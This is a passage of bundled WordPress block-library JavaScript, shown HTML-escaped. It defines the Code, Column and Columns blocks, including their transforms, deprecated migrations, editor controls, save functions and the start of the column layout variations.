      import_block_editor32.RichText.Content,
      {
        tagName: &quot;code&quot;,
        value: escape(
          typeof attributes2.content === &quot;string&quot; ? attributes2.content : attributes2.content.toHTMLString({
            preserveWhiteSpace: true
          })
        )
      }
    ) });
  }

  // packages/block-library/build-module/code/transforms.mjs
  var import_blocks15 = __toESM(require_blocks(), 1);
  var import_rich_text2 = __toESM(require_rich_text(), 1);
  var transforms4 = {
    from: [
      {
        type: &quot;input&quot;,
        regExp: /^```$/,
        transform: () =&gt; (0, import_blocks15.createBlock)(&quot;core/code&quot;)
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/paragraph&quot;],
        transform: (attributes2) =&gt; {
          const { content } = attributes2;
          return (0, import_blocks15.createBlock)(&quot;core/code&quot;, {
            ...attributes2,
            ...getTransformedAttributes(attributes2, &quot;core/code&quot;),
            content
          });
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/html&quot;],
        transform: (attributes2) =&gt; {
          const { content: text } = attributes2;
          return (0, import_blocks15.createBlock)(&quot;core/code&quot;, {
            ...attributes2,
            ...getTransformedAttributes(attributes2, &quot;core/code&quot;),
            // The HTML is plain text (with plain line breaks), so
            // convert it to rich text.
            content: (0, import_rich_text2.toHTMLString)({ value: (0, import_rich_text2.create)({ text }) })
          });
        }
      },
      {
        type: &quot;raw&quot;,
        isMatch: (node) =&gt; node.nodeName === &quot;PRE&quot; &amp;&amp; node.children.length === 1 &amp;&amp; node.firstChild.nodeName === &quot;CODE&quot;,
        schema: {
          pre: {
            children: {
              code: {
                children: {
                  &quot;#text&quot;: {}
                }
              }
            }
          }
        }
      }
    ],
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/paragraph&quot;],
        transform: (attributes2) =&gt; {
          const { content } = attributes2;
          return (0, import_blocks15.createBlock)(&quot;core/paragraph&quot;, {
            ...getTransformedAttributes(attributes2, &quot;core/paragraph&quot;),
            content
          });
        }
      }
    ]
  };
  var transforms_default4 = transforms4;

  // packages/block-library/build-module/code/index.mjs
  var { fieldsKey: fieldsKey3, formKey: formKey3 } = unlock(import_blocks16.privateApis);
  var { name: name14 } = block_default15;
  var settings14 = {
    icon: code_default,
    example: {
      attributes: {
        /* eslint-disable @wordpress/i18n-no-collapsible-whitespace */
        // translators: Preserve \n markers for line breaks
        content: (0, import_i18n23.__)(
          &quot;// A \u201Cblock\u201D is the abstract term used\n// to describe units of markup that\n// when composed together, form the\n// content or layout of a page.\nregisterBlockType( name, settings );&quot;
        )
        /* eslint-enable @wordpress/i18n-no-collapsible-whitespace */
      }
    },
    merge(attributes2, attributesToMerge) {
      return {
        content: attributes2.content + &quot;\n\n&quot; + attributesToMerge.content
      };
    },
    transforms: transforms_default4,
    edit: CodeEdit,
    save: save9
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings14[fieldsKey3] = [
      {
        id: &quot;content&quot;,
        label: (0, import_i18n23.__)(&quot;Code&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        // TODO: replace with custom component
      }
    ];
    settings14[formKey3] = {
      fields: [&quot;content&quot;]
    };
  }
  var init14 = () =&gt; initBlock({ name: name14, metadata: block_default15, settings: settings14 });

  // packages/block-library/build-module/column/index.mjs
  var column_exports = {};
  __export(column_exports, {
    init: () =&gt; init15,
    metadata: () =&gt; block_default16,
    name: () =&gt; name15,
    settings: () =&gt; settings15
  });

  // packages/block-library/build-module/column/deprecated.mjs
  var import_block_editor33 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime189 = __toESM(require_jsx_runtime(), 1);
  var deprecated4 = [
    {
      attributes: {
        verticalAlignment: {
          type: &quot;string&quot;
        },
        width: {
          type: &quot;number&quot;,
          min: 0,
          max: 100
        }
      },
      isEligible({ width }) {
        return isFinite(width);
      },
      migrate(attributes2) {
        return {
          ...attributes2,
          width: `${attributes2.width}%`
        };
      },
      save({ attributes: attributes2 }) {
        const { verticalAlignment, width } = attributes2;
        const wrapperClasses = clsx_default({
          [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment
        });
        const style2 = { flexBasis: width + &quot;%&quot; };
        return /* @__PURE__ */ (0, import_jsx_runtime189.jsx)(&quot;div&quot;, { className: wrapperClasses, style: style2, children: /* @__PURE__ */ (0, import_jsx_runtime189.jsx)(import_block_editor33.InnerBlocks.Content, {}) });
      }
    }
  ];
  var deprecated_default5 = deprecated4;

  // packages/block-library/build-module/column/edit.mjs
  var import_block_editor34 = __toESM(require_block_editor(), 1);
  var import_components16 = __toESM(require_components(), 1);
  var import_data18 = __toESM(require_data(), 1);
  var import_i18n24 = __toESM(require_i18n(), 1);
  var import_jsx_runtime190 = __toESM(require_jsx_runtime(), 1);
  function ColumnInspectorControls({ width, setAttributes }) {
    const [availableUnits] = (0, import_block_editor34.useSettings)(&quot;spacing.units&quot;);
    const units = (0, import_components16.__experimentalUseCustomUnits)({
      availableUnits: availableUnits || [&quot;%&quot;, &quot;px&quot;, &quot;em&quot;, &quot;rem&quot;, &quot;vw&quot;]
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
      import_components16.__experimentalToolsPanel,
      {
        label: (0, import_i18n24.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({ width: void 0 });
        },
        dropdownMenuProps,
        children: /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
          import_components16.__experimentalToolsPanelItem,
          {
            hasValue: () =&gt; width !== void 0,
            label: (0, import_i18n24.__)(&quot;Width&quot;),
            onDeselect: () =&gt; setAttributes({ width: void 0 }),
            isShownByDefault: true,
            children: /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
              import_components16.__experimentalUnitControl,
              {
                label: (0, import_i18n24.__)(&quot;Width&quot;),
                __unstableInputWidth: &quot;calc(50% - 8px)&quot;,
                __next40pxDefaultSize: true,
                value: width || &quot;&quot;,
                onChange: (nextWidth) =&gt; {
                  nextWidth = 0 &gt; parseFloat(nextWidth) ? &quot;0&quot; : nextWidth;
                  setAttributes({ width: nextWidth });
                },
                units
              }
            )
          }
        )
      }
    );
  }
  function ColumnEdit({
    attributes: { verticalAlignment, width, templateLock, allowedBlocks },
    setAttributes,
    clientId
  }) {
    const classes = clsx_default(&quot;block-core-columns&quot;, {
      [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment
    });
    const { columnsIds, hasChildBlocks, rootClientId } = (0, import_data18.useSelect)(
      (select9) =&gt; {
        const { getBlockOrder, getBlockRootClientId } = select9(import_block_editor34.store);
        const rootId = getBlockRootClientId(clientId);
        return {
          hasChildBlocks: getBlockOrder(clientId).length &gt; 0,
          rootClientId: rootId,
          columnsIds: getBlockOrder(rootId)
        };
      },
      [clientId]
    );
    const { updateBlockAttributes } = (0, import_data18.useDispatch)(import_block_editor34.store);
    const updateAlignment = (value) =&gt; {
      setAttributes({ verticalAlignment: value });
      updateBlockAttributes(rootClientId, {
        verticalAlignment: null
      });
    };
    const widthWithUnit = Number.isFinite(width) ? width + &quot;%&quot; : width;
    const blockProps = (0, import_block_editor34.useBlockProps)({
      className: classes,
      style: widthWithUnit ? { flexBasis: widthWithUnit } : void 0
    });
    const columnsCount = columnsIds.length;
    const currentColumnPosition = columnsIds.indexOf(clientId) + 1;
    const label = (0, import_i18n24.sprintf)(
      /* translators: 1: Block label (i.e. &quot;Block: Column&quot;), 2: Position of the selected block, 3: Total number of sibling blocks of the same type */
      (0, import_i18n24.__)(&quot;%1$s (%2$d of %3$d)&quot;),
      blockProps[&quot;aria-label&quot;],
      currentColumnPosition,
      columnsCount
    );
    const innerBlocksProps = (0, import_block_editor34.useInnerBlocksProps)(
      { ...blockProps, &quot;aria-label&quot;: label },
      {
        templateLock,
        allowedBlocks,
        renderAppender: hasChildBlocks ? void 0 : import_block_editor34.InnerBlocks.ButtonBlockAppender
      }
    );
    return /* @__PURE__ */ (0, import_jsx_runtime190.jsxs)(import_jsx_runtime190.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(import_block_editor34.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
        import_block_editor34.BlockVerticalAlignmentToolbar,
        {
          onChange: updateAlignment,
          value: verticalAlignment,
          controls: [&quot;top&quot;, &quot;center&quot;, &quot;bottom&quot;, &quot;stretch&quot;]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(import_block_editor34.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(
        ColumnInspectorControls,
        {
          width,
          setAttributes
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime190.jsx)(&quot;div&quot;, { ...innerBlocksProps })
    ] });
  }
  var edit_default4 = ColumnEdit;

  // packages/block-library/build-module/column/block.json
  var block_default16 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/column&quot;,
    title: &quot;Column&quot;,
    category: &quot;design&quot;,
    parent: [&quot;core/columns&quot;],
    description: &quot;A single column within a columns block.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      verticalAlignment: {
        type: &quot;string&quot;
      },
      width: {
        type: &quot;string&quot;
      },
      templateLock: {
        type: [&quot;string&quot;, &quot;boolean&quot;],
        enum: [&quot;all&quot;, &quot;insert&quot;, &quot;contentOnly&quot;, false]
      }
    },
    supports: {
      __experimentalOnEnter: true,
      anchor: true,
      reusable: false,
      html: false,
      color: {
        gradients: true,
        heading: true,
        button: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      shadow: true,
      spacing: {
        blockGap: true,
        padding: true,
        __experimentalDefaultControls: {
          padding: true,
          blockGap: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      layout: true,
      interactivity: {
        clientNavigation: true
      },
      allowedBlocks: true
    }
  };

  // packages/block-library/build-module/column/save.mjs
  var import_block_editor35 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime191 = __toESM(require_jsx_runtime(), 1);
  function save10({ attributes: attributes2 }) {
    const { verticalAlignment, width } = attributes2;
    const wrapperClasses = clsx_default({
      [`is-vertically-aligned-${verticalAlignment}`]: verticalAlignment
    });
    let style2;
    if (width &amp;&amp; /\d/.test(width)) {
      let flexBasis = Number.isFinite(width) ? width + &quot;%&quot; : width;
      if (!Number.isFinite(width) &amp;&amp; width?.endsWith(&quot;%&quot;)) {
        const multiplier = 1e12;
        flexBasis = Math.round(Number.parseFloat(width) * multiplier) / multiplier + &quot;%&quot;;
      }
      style2 = { flexBasis };
    }
    const blockProps = import_block_editor35.useBlockProps.save({
      className: wrapperClasses,
      style: style2
    });
    const innerBlocksProps = import_block_editor35.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime191.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/column/index.mjs
  var { name: name15 } = block_default16;
  var settings15 = {
    icon: column_default,
    edit: edit_default4,
    save: save10,
    deprecated: deprecated_default5
  };
  var init15 = () =&gt; initBlock({ name: name15, metadata: block_default16, settings: settings15 });

  // packages/block-library/build-module/columns/index.mjs
  var columns_exports = {};
  __export(columns_exports, {
    init: () =&gt; init16,
    metadata: () =&gt; block_default17,
    name: () =&gt; name16,
    settings: () =&gt; settings16
  });
  var import_i18n27 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/columns/deprecated.mjs
  var import_blocks17 = __toESM(require_blocks(), 1);
  var import_block_editor36 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime192 = __toESM(require_jsx_runtime(), 1);
  function getDeprecatedLayoutColumn(originalContent) {
    let { doc } = getDeprecatedLayoutColumn;
    if (!doc) {
      doc = document.implementation.createHTMLDocument(&quot;&quot;);
      getDeprecatedLayoutColumn.doc = doc;
    }
    let columnMatch;
    doc.body.innerHTML = originalContent;
    for (const classListItem of doc.body.firstChild.classList) {
      if (columnMatch = classListItem.match(/^layout-column-(\d+)$/)) {
        return Number(columnMatch[1]) - 1;
      }
    }
  }
  var migrateCustomColors = (attributes2) =&gt; {
    if (!attributes2.customTextColor &amp;&amp; !attributes2.customBackgroundColor) {
      return attributes2;
    }
    const style2 = { color: {} };
    if (attributes2.customTextColor) {
      style2.color.text = attributes2.customTextColor;
    }
    if (attributes2.customBackgroundColor) {
      style2.color.background = attributes2.customBackgroundColor;
    }
    const { customTextColor, customBackgroundColor, ...restAttributes } = attributes2;
    return {
      ...restAttributes,
      style: style2,
      isStackedOnMobile: true
    };
  };
  var deprecated_default6 = [
    {
      attributes: {
        verticalAlignment: {
          type: &quot;string&quot;
        },
        backgroundColor: {
          type: &quot;string&quot;
        },
        customBackgroundColor: {
          type: &quot;string&quot;
        },
        customTextColor: {
          type: &quot;string&quot;
        },
        textColor: {
          type: &quot;string&quot;
        }
      },
      migrate: migrateCustomColors,
      save({ attributes: attributes2 }) {
        const {
          verticalAlignment,
          backgroundColor,
          customBackgroundColor,
          textColor,
          customTextColor
        } = attributes2;
        const backgroundClass = (0, import_block_editor36.getColorClassName)(
          &quot;background-color&quot;,
          backgroundColor
        );
        const textClass = (0, import_block_editor36.getColorClassName)(&quot;color&quot;, textColor);
        const className = clsx_default({
          &quot;has-background&quot;: backgroundColor || customBackgroundColor,
          &quot;has-text-color&quot;: textColor || customTextColor,
          [backgroundClass]: backgroundClass,
          [textClass]: textClass,
          [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment
        });
        const style2 = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(
          &quot;div&quot;,
          {
            className: className ? className : void 0,
            style: style2,
            children: /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(import_block_editor36.InnerBlocks.Content, {})
          }
        );
      }
    },
    {
      attributes: {
        columns: {
          type: &quot;number&quot;,
          default: 2
        }
      },
      isEligible(attributes2, innerBlocks) {
        const isFastPassEligible = innerBlocks.some(
          (innerBlock) =&gt; /layout-column-\d+/.test(innerBlock.originalContent)
        );
        if (!isFastPassEligible) {
          return false;
        }
        return innerBlocks.some(
          (innerBlock) =&gt; getDeprecatedLayoutColumn(innerBlock.originalContent) !== void 0
        );
      },
      migrate(attributes2, innerBlocks) {
        const columns = innerBlocks.reduce((accumulator, innerBlock) =&gt; {
          const { originalContent } = innerBlock;
          let columnIndex = getDeprecatedLayoutColumn(originalContent);
          if (columnIndex === void 0) {
            columnIndex = 0;
          }
          if (!accumulator[columnIndex]) {
            accumulator[columnIndex] = [];
          }
          accumulator[columnIndex].push(innerBlock);
          return accumulator;
        }, []);
        const migratedInnerBlocks = columns.map(
          (columnBlocks) =&gt; (0, import_blocks17.createBlock)(&quot;core/column&quot;, {}, columnBlocks)
        );
        const { columns: ignoredColumns, ...restAttributes } = attributes2;
        return [
          {
            ...restAttributes,
            isStackedOnMobile: true
          },
          migratedInnerBlocks
        ];
      },
      save({ attributes: attributes2 }) {
        const { columns } = attributes2;
        return /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(&quot;div&quot;, { className: `has-${columns}-columns`, children: /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(import_block_editor36.InnerBlocks.Content, {}) });
      }
    },
    {
      attributes: {
        columns: {
          type: &quot;number&quot;,
          default: 2
        }
      },
      migrate(attributes2, innerBlocks) {
        const { columns, ...restAttributes } = attributes2;
        attributes2 = {
          ...restAttributes,
          isStackedOnMobile: true
        };
        return [attributes2, innerBlocks];
      },
      save({ attributes: attributes2 }) {
        const { verticalAlignment, columns } = attributes2;
        const wrapperClasses = clsx_default(`has-${columns}-columns`, {
          [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment
        });
        return /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(&quot;div&quot;, { className: wrapperClasses, children: /* @__PURE__ */ (0, import_jsx_runtime192.jsx)(import_block_editor36.InnerBlocks.Content, {}) });
      }
    }
  ];

  // packages/block-library/build-module/columns/edit.mjs
  var import_i18n25 = __toESM(require_i18n(), 1);
  var import_components17 = __toESM(require_components(), 1);
  var import_block_editor37 = __toESM(require_block_editor(), 1);
  var import_data19 = __toESM(require_data(), 1);
  var import_blocks18 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/columns/utils.mjs
  var toWidthPrecision = (value) =&gt; {
    const unitlessValue = parseFloat(value);
    return Number.isFinite(unitlessValue) ? parseFloat(unitlessValue.toFixed(2)) : void 0;
  };
  function getEffectiveColumnWidth(block, totalBlockCount) {
    const { width = 100 / totalBlockCount } = block.attributes;
    return toWidthPrecision(width);
  }
  function getTotalColumnsWidth(blocks, totalBlockCount = blocks.length) {
    return blocks.reduce(
      (sum, block) =&gt; sum + getEffectiveColumnWidth(block, totalBlockCount),
      0
    );
  }
  function getColumnWidths(blocks, totalBlockCount = blocks.length) {
    return blocks.reduce((accumulator, block) =&gt; {
      const width = getEffectiveColumnWidth(block, totalBlockCount);
      return Object.assign(accumulator, { [block.clientId]: width });
    }, {});
  }
  function getRedistributedColumnWidths(blocks, availableWidth, totalBlockCount = blocks.length) {
    const totalWidth = getTotalColumnsWidth(blocks, totalBlockCount);
    return Object.fromEntries(
      Object.entries(getColumnWidths(blocks, totalBlockCount)).map(
        ([clientId, width]) =&gt; {
          const newWidth = availableWidth * width / totalWidth;
          return [clientId, toWidthPrecision(newWidth)];
        }
      )
    );
  }
  function hasExplicitPercentColumnWidths(blocks) {
    return blocks.every((block) =&gt; {
      const blockWidth = block.attributes.width;
      return Number.isFinite(
        blockWidth?.endsWith?.(&quot;%&quot;) ? parseFloat(blockWidth) : blockWidth
      );
    });
  }
  function getMappedColumnWidths(blocks, widths) {
    return blocks.map((block) =&gt; ({
      ...block,
      attributes: {
        ...block.attributes,
        width: `${widths[block.clientId]}%`
      }
    }));
  }

  // packages/block-library/build-module/columns/edit.mjs
  var import_jsx_runtime193 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_BLOCK2 = {
    name: &quot;core/column&quot;
  };
  function ColumnInspectorControls2({
    clientId,
    setAttributes,
    isStackedOnMobile
  }) {
    const { count, canInsertColumnBlock, minCount } = (0, import_data19.useSelect)(
      (select9) =&gt; {
        const { canInsertBlockType, canRemoveBlock, getBlockOrder } = select9(import_block_editor37.store);
        const blockOrder = getBlockOrder(clientId);
        const preventRemovalBlockIndexes = blockOrder.reduce(
          (acc, blockId, index) =&gt; {
            if (!canRemoveBlock(blockId)) {
              acc.push(index);
            }
            return acc;
          },
          []
        );
        return {
          count: blockOrder.length,
          canInsertColumnBlock: canInsertBlockType(
            &quot;core/column&quot;,
            clientId
          ),
          minCount: Math.max(...preventRemovalBlockIndexes) + 1
        };
      },
      [clientId]
    );
    const { getBlocks } = (0, import_data19.useSelect)(import_block_editor37.store);
    const { replaceInnerBlocks } = (0, import_data19.useDispatch)(import_block_editor37.store);
    function updateColumns(previousColumns, newColumns) {
      let innerBlocks = getBlocks(clientId);
      const hasExplicitWidths = hasExplicitPercentColumnWidths(innerBlocks);
      const isAddingColumn = newColumns &gt; previousColumns;
      if (isAddingColumn &amp;&amp; hasExplicitWidths) {
        const newColumnWidth = toWidthPrecision(100 / newColumns);
        const newlyAddedColumns = newColumns - previousColumns;
        const widths = getRedistributedColumnWidths(
          innerBlocks,
          100 - newColumnWidth * newlyAddedColumns
        );
        innerBlocks = [
          ...getMappedColumnWidths(innerBlocks, widths),
          ...Array.from({
            length: newlyAddedColumns
          }).map(() =&gt; {
            return (0, import_blocks18.createBlock)(&quot;core/column&quot;, {
              width: `${newColumnWidth}%`
            });
          })
        ];
      } else if (isAddingColumn) {
        innerBlocks = [
          ...innerBlocks,
          ...Array.from({
            length: newColumns - previousColumns
          }).map(() =&gt; {
            return (0, import_blocks18.createBlock)(&quot;core/column&quot;);
          })
        ];
      } else if (newColumns &lt; previousColumns) {
        innerBlocks = innerBlocks.slice(
          0,
          -(previousColumns - newColumns)
        );
        if (hasExplicitWidths) {
          const widths = getRedistributedColumnWidths(innerBlocks, 100);
          innerBlocks = getMappedColumnWidths(innerBlocks, widths);
        }
      }
      replaceInnerBlocks(clientId, innerBlocks);
    }
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime193.jsxs)(
      import_components17.__experimentalToolsPanel,
      {
        label: (0, import_i18n25.__)(&quot;Settings&quot;),
        resetAll: () =&gt; {
          setAttributes({
            isStackedOnMobile: true
          });
        },
        dropdownMenuProps,
        children: [
          canInsertColumnBlock &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime193.jsxs)(import_components17.__experimentalVStack, { spacing: 4, style: { gridColumn: &quot;1 / -1&quot; }, children: [
            /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
              import_components17.RangeControl,
              {
                __next40pxDefaultSize: true,
                label: (0, import_i18n25.__)(&quot;Columns&quot;),
                value: count,
                onChange: (value) =&gt; updateColumns(count, Math.max(minCount, value)),
                min: Math.max(1, minCount),
                max: Math.max(6, count)
              }
            ),
            count &gt; 6 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(import_components17.Notice, { status: &quot;warning&quot;, isDismissible: false, children: (0, import_i18n25.__)(
              &quot;This column count exceeds the recommended amount and may cause visual breakage.&quot;
            ) })
          ] }),
          /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
            import_components17.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n25.__)(&quot;Stack on mobile&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; isStackedOnMobile !== true,
              onDeselect: () =&gt; setAttributes({
                isStackedOnMobile: true
              }),
              children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
                import_components17.ToggleControl,
                {
                  label: (0, import_i18n25.__)(&quot;Stack on mobile&quot;),
                  checked: isStackedOnMobile,
                  onChange: () =&gt; setAttributes({
                    isStackedOnMobile: !isStackedOnMobile
                  })
                }
              )
            }
          )
        ]
      }
    );
  }
  function ColumnsEditContainer({ attributes: attributes2, setAttributes, clientId }) {
    const { isStackedOnMobile, verticalAlignment, templateLock } = attributes2;
    const registry = (0, import_data19.useRegistry)();
    const { getBlockOrder } = (0, import_data19.useSelect)(import_block_editor37.store);
    const { updateBlockAttributes } = (0, import_data19.useDispatch)(import_block_editor37.store);
    const classes = clsx_default({
      [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
      [`is-not-stacked-on-mobile`]: !isStackedOnMobile
    });
    const blockProps = (0, import_block_editor37.useBlockProps)({
      className: classes
    });
    const innerBlocksProps = (0, import_block_editor37.useInnerBlocksProps)(blockProps, {
      defaultBlock: DEFAULT_BLOCK2,
      directInsert: true,
      orientation: &quot;horizontal&quot;,
      renderAppender: false,
      templateLock
    });
    function updateAlignment(newVerticalAlignment) {
      const innerBlockClientIds = getBlockOrder(clientId);
      registry.batch(() =&gt; {
        setAttributes({ verticalAlignment: newVerticalAlignment });
        updateBlockAttributes(innerBlockClientIds, {
          verticalAlignment: newVerticalAlignment
        });
      });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime193.jsxs)(import_jsx_runtime193.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(import_block_editor37.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
        import_block_editor37.BlockVerticalAlignmentToolbar,
        {
          onChange: updateAlignment,
          value: verticalAlignment
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(import_block_editor37.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
        ColumnInspectorControls2,
        {
          clientId,
          setAttributes,
          isStackedOnMobile
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(&quot;div&quot;, { ...innerBlocksProps })
    ] });
  }
  function Placeholder4({ clientId, name: name123, setAttributes }) {
    const { blockType, defaultVariation, variations: variations18 } = (0, import_data19.useSelect)(
      (select9) =&gt; {
        const {
          getBlockVariations: getBlockVariations3,
          getBlockType: getBlockType5,
          getDefaultBlockVariation
        } = select9(import_blocks18.store);
        return {
          blockType: getBlockType5(name123),
          defaultVariation: getDefaultBlockVariation(name123, &quot;block&quot;),
          variations: getBlockVariations3(name123, &quot;block&quot;)
        };
      },
      [name123]
    );
    const { replaceInnerBlocks } = (0, import_data19.useDispatch)(import_block_editor37.store);
    const blockProps = (0, import_block_editor37.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(
      import_block_editor37.__experimentalBlockVariationPicker,
      {
        icon: blockType?.icon?.src,
        label: blockType?.title,
        variations: variations18,
        instructions: (0, import_i18n25.__)(&quot;Divide into columns. Select a layout:&quot;),
        onSelect: (nextVariation = defaultVariation) =&gt; {
          if (nextVariation.attributes) {
            setAttributes(nextVariation.attributes);
          }
          if (nextVariation.innerBlocks) {
            replaceInnerBlocks(
              clientId,
              (0, import_blocks18.createBlocksFromInnerBlocksTemplate)(
                nextVariation.innerBlocks
              ),
              true
            );
          }
        },
        allowSkip: true
      }
    ) });
  }
  var ColumnsEdit = (props) =&gt; {
    const { clientId } = props;
    const hasInnerBlocks = (0, import_data19.useSelect)(
      (select9) =&gt; select9(import_block_editor37.store).getBlocks(clientId).length &gt; 0,
      [clientId]
    );
    const Component = hasInnerBlocks ? ColumnsEditContainer : Placeholder4;
    return /* @__PURE__ */ (0, import_jsx_runtime193.jsx)(Component, { ...props });
  };
  var edit_default5 = ColumnsEdit;

  // packages/block-library/build-module/columns/block.json
  var block_default17 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/columns&quot;,
    title: &quot;Columns&quot;,
    category: &quot;design&quot;,
    allowedBlocks: [&quot;core/column&quot;],
    description: &quot;Display content in multiple columns, with blocks added to each column.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      verticalAlignment: {
        type: &quot;string&quot;
      },
      isStackedOnMobile: {
        type: &quot;boolean&quot;,
        default: true
      },
      templateLock: {
        type: [&quot;string&quot;, &quot;boolean&quot;],
        enum: [&quot;all&quot;, &quot;insert&quot;, &quot;contentOnly&quot;, false]
      }
    },
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        link: true,
        heading: true,
        button: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        blockGap: {
          __experimentalDefault: &quot;2em&quot;,
          sides: [&quot;horizontal&quot;, &quot;vertical&quot;]
        },
        margin: [&quot;top&quot;, &quot;bottom&quot;],
        padding: true,
        __experimentalDefaultControls: {
          padding: true,
          blockGap: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        allowEditing: false,
        default: {
          type: &quot;flex&quot;,
          flexWrap: &quot;nowrap&quot;
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      shadow: true
    },
    editorStyle: &quot;wp-block-columns-editor&quot;,
    style: &quot;wp-block-columns&quot;
  };

  // packages/block-library/build-module/columns/save.mjs
  var import_block_editor38 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime194 = __toESM(require_jsx_runtime(), 1);
  function save11({ attributes: attributes2 }) {
    const { isStackedOnMobile, verticalAlignment } = attributes2;
    const className = clsx_default({
      [`are-vertically-aligned-${verticalAlignment}`]: verticalAlignment,
      [`is-not-stacked-on-mobile`]: !isStackedOnMobile
    });
    const blockProps = import_block_editor38.useBlockProps.save({ className });
    const innerBlocksProps = import_block_editor38.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime194.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/columns/variations.mjs
  var import_components18 = __toESM(require_components(), 1);
  var import_i18n26 = __toESM(require_i18n(), 1);
  var import_jsx_runtime195 = __toESM(require_jsx_runtime(), 1);
  var variations2 = [
    {
      name: &quot;one-column-full&quot;,
      title: (0, import_i18n26.__)(&quot;100&quot;),
      description: (0, import_i18n26.__)(&quot;One column&quot;),
      icon: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(
        import_components18.SVG,
        {
          xmlns: &quot;http://www.w3.org/2000/svg&quot;,
          width: &quot;48&quot;,
          height: &quot;48&quot;,
          viewBox: &quot;0 0 48 48&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime195.jsx)(import_components18.Path, { d: &quot;M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Z&quot; })
        }
      ),
      innerBlocks: [[&quot;core/column&quot;]],
      scope: [&quot;block&quot;]
    },
    {
      name: &quot;two-columns-equal&quot;,
      title: (0, import_i18n26.__)(&quot;50 / 50&quot;),
